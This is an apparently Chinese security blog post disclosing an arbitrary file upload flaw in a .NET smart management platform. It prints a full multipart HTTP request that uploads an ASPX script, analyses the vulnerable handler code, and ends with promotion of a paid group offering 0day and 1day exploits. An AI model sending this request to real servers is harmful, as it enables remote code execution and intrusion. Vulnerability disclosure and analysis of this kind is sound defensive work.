01
阅读须知
文末优惠券剩余数量不多,有需要的师傅冲吧!
02
漏洞背景
某通智慧管理平台是一套功能强大,运行稳定,操作简单方便,用户界面美观,轻松统计数据的系统。无需安装,只需在后台配置即可在浏览器登录。功能包括:系统管理中心、人员信息管理中心、设备管理中心、水控管理子系统、电控管理子系统、考勤管理子系统、会议签到管理子系统、访客管理子系统。该系统的Upload**.ashx接口存在任意文件上传漏洞。
03
漏洞复现
近日外部公开渠道爆出该系统存在RCE漏洞,参数my***没有判断文件扩展名,可以上传任意ASPX脚本,具体的数据包如下所示。
POST /UpLoad**.ashx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Length: 431
Accept: */* Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9
Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywt4cEu1eCdibD89y
X-Requested-With: XMLHttpRequest
------WebKitFormBoundarywt4cEu1eCdibD89y
Content-Disposition: form-data; name="action"
post
------WebKitFormBoundarywt4cEu1eCdibD89y
Content-Disposition: form-data; name="my***"; filename="1.aspx"
Content-Type: image/png
<% response.write(245) %>
------WebKitFormBoundarywt4cEu1eCdibD89y
上述请求构造的HTTP流将上传的文件名为 1.aspx,其内容包含一段 ASPX 代码,在页面中回显245,并且返回的文件的物理路径,位于Images目录下。如下图所示。
04
存在漏洞的是一个Handler,经过分析得知代码隐藏文件为 UpLoad**.ashx.cs,类为 Ne****.View.test。
HttpPostedFile picture = context.Request.Files[0];
string fileName = picture.FileName;
从请求中获取上传的文件,在处理上传文件将的时候会检查是否存在旧文件名,如果存在会删除旧文件,代码如下所示。
if (name != "")
{
string expr_94 = name;
if (expr_94.Substring(expr_94.LastIndexOf("/") + 1) != "none.jpg")
{
name = name.Replace('/', '\');
File.Delete(str + name);
}
}
最后生成新文件的相对路径,使用 GUID 生成唯一文件名,这里幸好会返回路径和文件名,否则还不好猜测。具体代码如下所示。
url = "\images\" + Guid.NewGuid().ToString("N") + fileName;
picture.SaveAs(AppDomain.CurrentDomain.SetupInformation.ApplicationBase + url);
url = url.Replace('\', '/');
}
漏洞详情已经打包在星球,感兴趣的朋友可以加入自取。更多的.NET漏洞情报,请加入星球后获取,星球持续更新最新的 .NET 应用漏洞POC,并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞,确保您始终掌握最前沿的安全信息和防护措施。
05
推荐阅读
从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识!
06
欢迎加入.NET安全星球
为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。
目前优惠券活动后期价格随着内容和质量的不断沉淀会适当提高,星球即将涨价
目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。
星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。
星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。
我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。
我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...